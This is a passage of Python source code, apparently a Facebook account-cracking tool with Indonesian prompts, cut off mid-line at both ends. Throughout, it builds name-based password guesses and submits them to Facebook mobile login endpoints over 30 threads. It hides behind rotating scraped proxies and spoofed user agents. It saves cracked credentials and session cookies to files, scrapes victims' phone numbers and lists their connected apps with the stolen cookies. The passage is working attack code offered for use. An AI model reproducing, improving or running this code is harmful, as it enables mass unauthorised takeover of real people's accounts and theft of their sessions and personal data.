  1280.                     #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  1281.                     tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  1282.                     tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
  1283.                     tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  1284.                     tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
  1285.                     prints(tree)
  1286.                     open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1287.                     break
  1288.                    
  1289.                 elif 'ya' in taplikasi:
  1290.                     ses = requests.Session()
  1291.                     head_pro = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
  1292.                     kon = 'https://mbasic.facebook.com/profile.php?v=info'
  1293.                     req = ses.get(kon,headers = head_pro, cookies = kuki).text
  1294.                     try:
  1295.                          cari_nomor = re.search('>08(.*?)-(.*?)-(.*?)</span>',str(req)).groups(1)
  1296.                          nomor = '08{}{}{}'.format(cari_nomor[0],cari_nomor[1],cari_nomor[2])
  1297.                     except:
  1298.                          nomor = '-'
  1299.                     ok+=1
  1300.                     coki = po.cookies.get_dict()
  1301.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1302.                     #cooz = ses.cookies.get_dict()
  1303.                     #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  1304.                     tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  1305.                     tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
  1306.                     tree.add(Panel.fit(f"[green] EMAIL : (_) ",style=f"white"))
  1307.                     tree.add(Panel.fit(f"[green] NOMOR : ( {cari_nomor} ) ",style=f"white"))                   
  1308.                     tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  1309.                     tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
  1310.                     prints(tree)
  1311.                     open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1312.                     cek_apk(kuki)
  1313.                     break
  1314.                                
  1315.             elif "checkpoint" in po.cookies.get_dict().keys():
  1316.                 tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
  1317.                 tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow] {tahun(idf)} ",style=f"white"))
  1318.                 tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
  1319.                 prints(tree)
  1320.                 open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1321.                 akune.append(idf+'|'+pw)
  1322.                 ceker(idf,pw)
  1323.                 cp+=1
  1324.                 break  
  1325.                
  1326.             else:
  1327.                 continue
  1328.         except requests.exceptions.ConnectionError:
  1329.             time.sleep(31)
  1330.     loop+=1
  1331.    
  1332. #----------[ MOBILE REGULER ]----------#                               
  1333. def cracking06(idf,pwx,url):
  1334.     global loop,ok,cp
  1335.     ses = requests.Session()
  1336.     rr = random.randint
  1337.     rc = random.choice
  1338.     emot = rc(["😝","😜","🤪"])
  1339.     prog.update(des,description=f"\r {emot} MBF 06 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  1340.     prog.advance(des)
  1341.     for pw in pwx:
  1342.         try:
  1343.             if 'ya' in uadia: ua = uamu[0]
  1344.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  1345.             open('socksku.txt','w').write(proxs)
  1346.             nip = rc(proxs)
  1347.             proxs = {'http': 'socks4://'+nip}
  1348.             ua = rc(ugen)
  1349.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])    
  1350.             ses.headers.update({"Host":url,
  1351.             "upgrade-insecure-requests":"1",
  1352.             "user-agent":ua,
  1353.             "accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9",
  1354.             "dnt":f"{str(rr(1,9))}",
  1355.             "x-requested-with":"com.facebook.katana",
  1356.             "sec-fetch-site":"same-origin",
  1357.             "sec-fetch-mode":"cors",
  1358.             "sec-fetch-user":"empty",
  1359.             "sec-fetch-dest":"document",
  1360.             "referer":f"https://{url}/",
  1361.             "accept-encoding":"gzip, deflate br",
  1362.             "accept-language":"en-GB,en-US;q=0.9"})
  1363.             link = ses.get('https://m.facebook.com/login/?email='+idf).text
  1364.             date = {'lsd':re.search('name="lsd" value="(.*?)"', str(link)).group(1),'jazoest':re.search('name="jazoest" value="(.*?)"', str(link)).group(1),'m_ts':re.search('name="m_ts" value="(.*?)"', str(link)).group(1),
  1365. 'li':re.search('name="li" value="(.*?)"', str(link)).group(1),'email':idf,'pass':pw}
  1366.             ses.headers.update({'Host': url,
  1367.             'cache-control': 'max-age=0',
  1368.             'upgrade-insecure-requests': '1',
  1369.             'origin': 'https://'+url,
  1370.             'content-type': 'application/x-www-form-urlencoded',
  1371.             'user-agent': ua,
  1372.             'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1373.             'sec-fetch-site': 'same-origin',
  1374.             'sec-fetch-mode': 'cors',
  1375.             'sec-fetch-user': 'empty',
  1376.             'sec-fetch-dest': 'document',
  1377.             'referer': f'https://{url}/login/?email='+idf,
  1378.             'accept-encoding':'gzip, deflate br',
  1379.             'accept-language':'en-GB,en-US;q=0.9'})
  1380.             po = ses.post(f"https://{url}/login/device-based/regular/login/?shbl=1&refsrc=deprecated",data=date,allow_redirects=False,proxies=proxs)
  1381.             if "datr" in ses.cookies.get_dict().keys():
  1382.                 if 'no' in taplikasi:
  1383.                     ok+=1
  1384.                     coki=po.cookies.get_dict()
  1385.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1386.                     #cooz = ses.cookies.get_dict()
  1387.                     #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  1388.                     tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  1389.                     tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
  1390.                     tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  1391.                     tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
  1392.                     prints(tree)
  1393.                     open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1394.                     break
  1395.                    
  1396.                 elif 'ya' in taplikasi:
  1397.                     ses = requests.Session()
  1398.                     head_pro = {'user-agent': 'SupportsFresco=1 Dalvik/2.1.0 (Linux; U; Android 6.0.1; SM-J210F Build/MMB29Q) Source/1 [FBAN/EMA;UNITY_PACKAGE/342;FBBV/107586706;FBAV/172.0.0.8.182;FBDV/SM-J210F;FBLC/id_ID;FBOP/20]'}
  1399.                     kon = 'https://mbasic.facebook.com/profile.php?v=info'
  1400.                     req = ses.get(kon,headers = head_pro, cookies = kuki).text
  1401.                     try:
  1402.                          cari_nomor = re.search('>08(.*?)-(.*?)-(.*?)</span>',str(req)).groups(1)
  1403.                          nomor = '08{}{}{}'.format(cari_nomor[0],cari_nomor[1],cari_nomor[2])
  1404.                     except:
  1405.                          nomor = '-'
  1406.                     ok+=1
  1407.                     coki = po.cookies.get_dict()
  1408.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1409.                     #cooz = ses.cookies.get_dict()
  1410.                     #kuki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  1411.                     tree = Tree(Panel.fit(f"[green] LOGIN SUCKSES ",style=f"white"))
  1412.                     tree.add(Panel.fit(f"[green] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[green] {tahun(idf)} ",style=f"white"))
  1413.                     tree.add(Panel.fit(f"[green] EMAIL : (_) ",style=f"white"))
  1414.                     tree.add(Panel.fit(f"[green] NOMOR : ( {cari_nomor} ) ",style=f"white"))                   
  1415.                     tree.add(Panel.fit(f"[green]{kuki}",style=f"white"))
  1416.                     tree.add(Panel.fit(f"[green]{ua}",style=f"white"))
  1417.                     prints(tree)
  1418.                     open('MBF-OK/'+okc,'a').write(idf+'|'+pw+'|'+kuki+'\n')
  1419.                     cek_apk(kuki)
  1420.                     break
  1421.                                
  1422.             elif "checkpoint" in po.cookies.get_dict().keys():
  1423.                 tree = Tree(Panel.fit(f"[yellow] LOGIN CHECKPOINT ",style=f"white"))
  1424.                 tree.add(Panel.fit(f"[yellow] {idf} | {pw} ",style=f"white")).add(Panel.fit(f"[yellow] {tahun(idf)} ",style=f"white"))
  1425.                 tree.add(Panel.fit(f"[yellow]{ua}",style=f"white"))
  1426.                 prints(tree)
  1427.                 open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1428.                 akune.append(idf+'|'+pw)
  1429.                 ceker(idf,pw)
  1430.                 cp+=1
  1431.                 break  
  1432.                
  1433.             else:
  1434.                 continue
  1435.         except requests.exceptions.ConnectionError:
  1436.             time.sleep(31)
  1437.     loop+=1
  1438.    
  1439. #----------[ CEK-OPSI ]----------# 
  1440. def ceker(idf,pw):
  1441.     global cp
  1442.     rc = random.choice
  1443.     url = rc(["mbasic.facebook.com"])
  1444.     head = (
  1445.     {
  1446.     "Host": url,
  1447.     "cache-control": "max-age=0",
  1448.     "upgrade-insecure-requests": "1",
  1449.     "origin": "https://"+url,
  1450.     "content-type": "application/x-www-form-urlencoded",
  1451.     "user-agent": "Mozilla/5.0 (Linux; Android 10; DOOGEE B10 Build/KOTG49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Mobile Safari/537.36",
  1452.     "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  1453.     "x-requested-with": "mark.via.gp",
  1454.     "sec-fetch-site": "same-origin",
  1455.     "sec-fetch-mode": "navigate",
  1456.     "sec-fetch-user": "?1",
  1457.     "sec-fetch-dest": "document",
  1458.     "referer": f"https://{url}/index.php?next=https%3A%2F%2Fdevelopers.facebook.com%2Ftools%2Fdebug%2Faccesstoken%2F",
  1459.     "accept-encoding": "gzip, deflate",
  1460.     "accept-language": "en-US,en;q=0.9"
  1461.     }
  1462. )
  1463.     ses = requests.Session()
  1464.     try:
  1465.         hi = ses.get('https://'+url)
  1466.         kontol = sop(ses.post(
  1467.         'https://'+url+'/login.php',
  1468.         data={
  1469.         'email':idf,
  1470.     'pass':pw,
  1471. 'login':'submit'
  1472.         },headers=head, allow_redirects=True).text,'html.parser')
  1473.         jo = kontol.find(
  1474.         'form'
  1475.         )
  1476.         data = {}
  1477.         lion = [
  1478.         'nh',
  1479.     'jazoest',
  1480. 'fb_dtsg',
  1481.     'submit[Continue]',
  1482.         'checkpoint_data'
  1483.         ]
  1484.         for anj in jo('input'):
  1485.             if anj.get('name') in lion:
  1486.                 data.update({anj.get('name'):anj.get('value')})
  1487.         kent = sop(ses.post('https://'+url+str(jo['action']), data=data, headers=head).text,'html.parser')
  1488.         opsi = kent.find_all('option')
  1489.         if len(opsi)==0:
  1490.             tree = Tree("")
  1491.             tree.add(Panel.fit(f"\r[green] Tapyes / A2f ( cek di mbasic ) ",style=f"white"))
  1492.             prints(tree)
  1493.             #open('CP/'+'TAPYES.txt'+,'a').write(idf+'|'+pw+'\n')
  1494.             #cp+=1
  1495.         else:
  1496.             for opsii in opsi:
  1497.                 print('\r%s---> %s%s'%(kk,opsii.text,x))
  1498.     except Exception as c:
  1499.         tree = Tree("")
  1500.         tree.add(Panel.fit(f"\r[mer] Spam IP Tidak Dapat Cek Opsi Checkpoint ",style=f"white"))
  1501.         prints(tree)
  1502.         #open('MBF-CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1503.         #cp+=1
  1504.        
  1505. #-----------[ CEK-APLIKASI ]-----------#
  1506. def cek_apk(kuki):
  1507.     session = requests.Session()
  1508.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":"noscript=1;"+kuki}).text
  1509.     sop = bs4.BeautifulSoup(w,"html.parser")
  1510.     x = sop.find("form",method="post")
  1511.     game = [i.text for i in x.find_all("h3")]
  1512.     try:
  1513.         for i in range(len(game)):
  1514.             tree = Tree(Panel.fit(f"[green] APLIKASI AKTIF ",style=f"white"))
  1515.             tree.add(f"\r%s  \033[0m              ➛ %s%s"%(puti,hijo,game[i].replace("Ditambahkan pada"," Ditambahkan pada")))
  1516.             prints(tree)
  1517.             #print ("\r%s  \033[0m              ➛ %s%s"%(P,H,game[i].replace("Ditambahkan pada"," Ditambahkan pada")))
  1518.     except AttributeError:
  1519.         print ("\r    %s\033[0m cookie invalid"%(mer))
  1520.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":"noscript=1;"+kuki}).text
  1521.     sop = bs4.BeautifulSoup(w,"html.parser")
  1522.     x = sop.find("form",method="post")
  1523.     game = [i.text for i in x.find_all("h3")]
  1524.     try:
  1525.         for i in range(len(game)):
  1526.             tree = Tree(Panel.fit(f"[red] APLIKASI KEDALUARSA ",style=f"white"))
  1527.             tree.add("\r%s  \033[0m              ➛ %s"%(puti,game[i].replace("Kedaluwarsa"," Kedaluwarsa")))
  1528.             prints(tree)
  1529.     except AttributeError:
  1530.         print ("\r    %s \033[0mcookie invalid"%(mer))
  1531.            
  1532. #----------[ CRACK-EMAIL ]----------#                    
  1533. def krek_email():
  1534.     rc = random.choice
  1535.     rr = random.randint
  1536.     xc = [" muhammad"," firman"," pratama"," tyz"," galau"," semarang"," boyolali"," cilacap"," kebumen"," banyumas"," herex"," tuban"," sumedang"," aja"," new"," baru"," setia"," sayang"," cinta"," syank kamu"," cantik"," ganteng"," imut"," kalem"," sragen"," susah sembuh"," sudah sembuh"," sakit"," wae"," sulung"," nur"," dwi"," x gans"," x jebe"," x cogan"," x id"," ganong"," situbondo"," aremania"," sunda"," garut"," cirebon"," sukabumi"," medan"," thejack"," bobotoh"," bonek"," suroboyo"," surabaya"," persebaya"," persib"," persija"," cilacap"," jepara"," solo"," official"," manis"," imut"," kalem"," utama"," sukses"," real"," semok"," kesepian"," rentcar"," makmur"," jaya"," jr"," tasik"," malang"," jogja"," mama"," ibuknya"," bundanya"," tiktok"," kece"," keren"," baru"," jutek"," saja"," putri"," andi"," dewi"," tri"," dian"," sri"," putri"," eka"," sari"," aditya"," basuki"," budi"," joni"," toni"," bekti"," cahya"," harahap"," riski"," farhan"," aden"," joko"," firman"," sulis"," soleh"," gagal"," kacau"," sulis"," rahmat"," indah"," pribadi"," saputro"," saputra"," kediri"," kudus"," jember"," situbondo"," pemalang"," wonosobo"," trenggalek","  tuban"," gresik"," bangkalan"," jombang"," kediri"," lamongan"," lumajang"," madiun"," magetan"," mojokerto"," nganjuk"," pacitan"," ngawi"," pasuruan"," ponorogo"," pamengkasan"," sidoarjo"," tuban"," blitar"," kediri"," banjarnegara"," batang"," blora"," brebes"," grobokan"," karanganyar"," kendal"," klaten"," kudus"," pati"," pekalongan"," rembang"," sragen"," tegal"," temanggung"," wonogiri"," wonosobo"," sukoharjo"," salatiga"," bandung"," ciamis"," cianjur"," cirebon"," indramayu"," majalengka"," subang"," sumedang"," purwakarta"," banjar"," bekasi"," bogor"," comahi"," depok"," tasikmalaya "]
  1537.     blk = [" muhammad"," firman"," pratama"," tyz"," galau"," semarang"," boyolali"," cilacap"," kebumen"," banyumas"," herex"," tuban"," sumedang"," aja"," new"," baru"," setia"," sayang"," cinta"," syank kamu"," cantik"," ganteng"," imut"," kalem"," sragen"," susah sembuh"," sudah sembuh"," sakit"," wae"," sulung"," nur"," dwi"," x gans"," x jebe"," x cogan"," x id"," ganong"," situbondo"," aremania"," sunda"," garut"," cirebon"," sukabumi"," medan"," thejack"," bobotoh"," bonek"," suroboyo"," surabaya"," persebaya"," persib"," persija"," cilacap"," jepara"," solo"," official"," manis"," imut"," kalem"," utama"," sukses"," real"," semok"," kesepian"," rentcar"," makmur"," jaya"," jr"," tasik"," malang"," jogja"," mama"," ibuknya"," bundanya"," tiktok"," kece"," keren"," baru"," jutek"," saja"," putri"," andi"," dewi"," tri"," dian"," sri"," putri"," eka"," sari"," aditya"," basuki"," budi"," joni"," toni"," bekti"," cahya"," harahap"," riski"," farhan"," aden"," joko"," firman"," sulis"," soleh"," gagal"," kacau"," sulis"," rahmat"," indah"," pribadi"," saputro"," saputra"," kediri"," kudus"," jember"," situbondo"," pemalang"," wonosobo"," trenggalek","  tuban"," gresik"," bangkalan"," jombang"," kediri"," lamongan"," lumajang"," madiun"," magetan"," mojokerto"," nganjuk"," pacitan"," ngawi"," pasuruan"," ponorogo"," pamengkasan"," sidoarjo"," tuban"," blitar"," kediri"," banjarnegara"," batang"," blora"," brebes"," grobokan"," karanganyar"," kendal"," klaten"," kudus"," pati"," pekalongan"," rembang"," sragen"," tegal"," temanggung"," wonogiri"," wonosobo"," sukoharjo"," salatiga"," bandung"," ciamis"," cianjur"," cirebon"," indramayu"," majalengka"," subang"," sumedang"," purwakarta"," banjar"," bekasi"," bogor"," comahi"," depok"," tasikmalaya "]
  1538.     global ok , cp
  1539.     prints(Panel(f"[white] HAY KAK SILAKAN MASUKAN SATU USERNAME DI BAWAH INI ",width=80,padding=(0,12),style=f"white"))
  1540.     nama = console.input(f'[•] USERNAME : ')
  1541.     if ',' in str(nama):
  1542.         prints(Panel(f"[white] INPUT YANG ANDA MASUKAN [red]SALAH[white] SILAKAN MASUKAN DENGAN BENAR ",width=80,padding=(0,10),style=f"white"));time.sleep(3);menu()
  1543.     prints(Panel(f"[whote] HAY KAK SILAKAN MASUKAN TOTAL TARGET EMAIL DI BAWAH INI",width=80,padding=(0,10),style=f"white"))
  1544.     jumlah = console.input(f'[•] TOTAL : ')
  1545.     for xyz in range(int(jumlah)):
  1546.         A = nama
  1547.         B = f'{str(rc(xc))}',f'{str(rr(0,999999999))}',f'{str(rc(blk))}'f'{str(rc(xc))}{str(rr(0,999999999))}',f'{xyz}',f'{str(rc(blk))}{str(rr(0,999999999))}',f'{str(rc(xc))}{str(rc(blk))}'
  1548.         C = f'@gmail.com'
  1549.         D = f'{A}{str(rc(B))}{C}'
  1550.         if D in id:pass
  1551.         else:id.append(D+'|'+nama)
  1552.         if len(dump)==999999:setting()
  1553.         prints(Panel(f"\r TOTAL AKUN : [green] "+str(len(id)),width=80,padding=(0,28),style=f"#AAAAAA"))
  1554.         time.sleep(0.0000003)
  1555.     print("\r")
  1556.     atur_idx()
  1557.          
  1558. #----------[ MENU-IDZ ]----------#     
  1559. def atur_idx():
  1560.      rr = random.randint
  1561.      for khusus_random in id:
  1562.             cyxieon_id = rr(0,len(id2))
  1563.             id2.insert(cyxieon_id, khusus_random)
  1564.      user_agentx()
  1565.  
  1566. #----------[ USER-AGENT ]----------#              
  1567. def user_agentx():
  1568.     prints(Panel(f"[white] HAY KAK APAKAH MAU MENAMBAHKAN USER AGENT MANUAL (y/t) ",width=80,padding=(0,10),style=f"white"))
  1569.     uatambah = input(f'[•] PILIH : ')
  1570.     if uatambah in ['y','Ya','ya','Y']:
  1571.          uadia.append('ya')
  1572.          prints(Panel(f"[white] HAY KAK SILAKAN MASUKAN USER AGENT MANUAL KAKAK ",width=80,padding=(0,12),style=f"white"))
  1573.          mantap = input(f'[•] UA TAMBAH : ')
  1574.          uamu.append(mantap)
  1575.     else:
  1576.         uadia.append('no')
  1577.     passwordx()
  1578.  
  1579. #----------[ PASSWORD]----------#                  
  1580. def passwordx():
  1581.     prints(Panel(f"[white] HAY KAK APAKAH MAU MENAMBAHKAN PASSWORD MANUAL (y/t) ",width=80,padding=(0,10),style=f"white"))
  1582.     passwtamb = input(f'[•] PILIH : ')
  1583.     if passwtamb in ['y','Y']:
  1584.         sandine.append('ya')
  1585.         prints(Panel(f"[white] HAY KAK SILAKAN MASUKAN PW GUNAKAN ( , ) UNTUK PEMISAH ",width=80,padding=(0,9),style=f"white"))
  1586.         sandiku = input(f'[•] MASUKAN PW : ')
  1587.         sandimu = sandiku.split(',')
  1588.         for sandixnxx in sandimu:
  1589.              sandina.append(sandixnxx)       
  1590.     else:
  1591.         sandine.append('no')
  1592.     otomatisx()
  1593.    
  1594. #----------[ WORDLIST ]----------#              
  1595. def otomatisx():
  1596.     global prog,des
  1597.     prints(Panel(f"[white] HAY KAK JANGAN LUPA MODE PESAWAT SETIAP 300 ID YA KAK ",width=80,padding=(0,10),style=f"white"))
  1598.     prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
  1599.     des = prog.add_task('',total=len(id2))
  1600.     with prog:
  1601.         with tred(max_workers=30) as pool:
  1602.             for akun in id2:
  1603.                 idf,nama = akun.split('|')[0],akun.split('|')[1].lower()
  1604.                 depan = nama.split(" ")[0]
  1605.                 pwx = []
  1606.                 if len(nama)<=5:
  1607.                     if len(depan)<=1 or len(depan)<=2:
  1608.                         pass
  1609.                     else:
  1610.                         pwx.append(depan+"123")
  1611.                         pwx.append(depan+"1234")
  1612.                         pwx.append(depan+"12345")
  1613.                 else:
  1614.                     if len(depan)<=1 or len(depan)<=2:
  1615.                         try:
  1616.                             tengah = nama.split(" ")[1]
  1617.                             if len(tengah)<=3:
  1618.                                 pass
  1619.                             else:
  1620.                                 pwx.append(tengah+"123")
  1621.                                 pwx.append(tengah+"1234")
  1622.                                 pwx.append(tengah+"12345")
  1623.                                 pwx.append(nama)
  1624.                         except:
  1625.                             try:
  1626.                                 belakang = nama.split(' ')[2]
  1627.                                 if len(belakang)<=3:pass
  1628.                                 else:
  1629.                                     pwx.append(belakang+"123")
  1630.                                     pwx.append(belakang+"1234")
  1631.                                     pwx.append(belakang+"12345")
  1632.                                     pwx.append(nama)
  1633.                             except:
  1634.                                  pwx.append(nama)
  1635.                     else:
  1636.                         pwx.append(nama)
  1637.                         pwx.append(depan+"123")
  1638.                         pwx.append(depan+"1234")
  1639.                         pwx.append(depan+"12345")
  1640.                         pwx.append(depan+"321")
  1641.                 if '><asyinc><' in method:
  1642.                     pool.submit(crack,idf,pwx,'m.facebook.com')
  1643.                 else:
  1644.                     pool.submit(crack,idf,pwx,'m.facebook.com')
  1645.                    
  1646.     tree = Tree(Panel.fit(f"\r[white] Crack Telah Selesai Dengan Jumlah [green]OK : {ok}[white] Dan Jumlah [kun]CP : {cp}[white]",style=f"white"))
  1647.     tree.add(Panel.fit(f"\r[white] Apakah Ingin Lanjut Crack Kembali (y/t) ",style=f"white"))
  1648.     prints(tree)
  1649.     gas = input(f"[•] PILIH : ")
  1650.     if gas in ['y','Y','ya','YA']:
  1651.         menu()
  1652.     else:
  1653.         tree = Tree("")
  1654.         tree.add(Panel.fit(f"\r[white] Good Byee Jangan Lupa Bersyukur Dengan Hasilnya ",style=f"white"))
  1655.         prints(tree)
  1656.         time.sleep(2)
  1657.         exit()
  1658.                        
  1659. #----------[ MOBILE ASYINC ]----------#                            
  1660. def crack(idf,pwx,url):
  1661.     global loop,ok,cp
  1662.     ses = requests.Session()
  1663.     rr = random.randint
  1664.     rc = random.choice
  1665.     emot = rc(["😝","😜","🤪"])
  1666.     prog.update(des,description=f"\r {emot} Cracking ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  1667.     prog.advance(des)
  1668.     for pw in pwx:
  1669.         try:
  1670.             if 'ya' in uadia: ua = uamu[0]
  1671.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  1672.             open('socksku.txt','w').write(proxs)
  1673.             nip = rc(proxs)
  1674.             proxs = {'http': 'socks4://'+nip}
  1675.             ua = rc(ugen)
  1676.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  1677.             ref = rc([f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr"])
  1678.             link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.